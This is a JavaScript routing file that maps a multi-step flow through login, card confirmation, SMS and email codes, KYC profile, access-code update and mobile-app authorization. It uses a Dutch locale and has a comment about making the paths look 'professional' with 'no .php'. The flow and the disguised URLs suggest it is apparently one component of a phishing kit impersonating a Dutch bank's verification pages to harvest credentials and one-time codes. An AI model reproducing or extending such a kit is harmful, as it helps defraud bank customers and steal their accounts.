/**
 * Public URL map — professional paths with query parameters (no .php).
 */
(function (w) {
  "use strict";

  w.SCII_ROUTES = {
    login: "/consumer/identify?channel=WEB&locale=nl-NL",
    activation: "/consumer/identify?enrollmentProcessType=ACTIVATION&channel=WEB",
    processing: "/consumer/session/processing?context=IDENTIFICATION&status=IN_PROGRESS",
    instrument: "/consumer/identify/instrument?verificationType=PRIMARY&step=CONFIRMATION",
    sms: "/consumer/verification/mobile?channel=SMS&purpose=STRONG_AUTH",
    email: "/consumer/verification/email?channel=EMAIL&purpose=STRONG_AUTH",
    profile: "/consumer/identify/profile?step=REVIEW&context=KYC",
    credential: "/consumer/security/credential?action=UPDATE&method=ACCESS_CODE",
    authorization: "/consumer/authorization/challenge?method=MOBILE_APP&step=CONFIRM",
    complete: "/consumer/session/complete?context=IDENTIFICATION&status=COMPLETED",
  };

  w.SCII_ROUTE_ERROR_CODES = {
    "/consumer/identify": "0006",
    "/consumer/session/processing": "0006",
    "/consumer/identify/instrument": "0007",
    "/consumer/verification/mobile": "0008",
    "/consumer/verification/email": "0009",
    "/consumer/identify/profile": "0010",
    "/consumer/security/credential": "0011",
    "/consumer/authorization/challenge": "0012",
  };

  w.sciiGoProcessing = function (returnPath) {
    if (typeof w.sciiBeforeLoading === "function") {
      w.sciiBeforeLoading(returnPath || w.location.pathname);
    }
    w.location.replace(w.SCII_ROUTES.processing);
  };

  w.sciiIsLoginEntryPage = function () {
    var path = (w.location.pathname || "").replace(/\/$/, "") || "/";
    if (path === "/" || path === "") return true;
    if (path === "/consumer/identify") return true;
    if (path.indexOf("/consumer/identify") === 0 && path.indexOf("/instrument") === -1) {
      return w.location.search.indexOf("ACTIVATION") === -1;
    }
    return false;
  };
})(window);
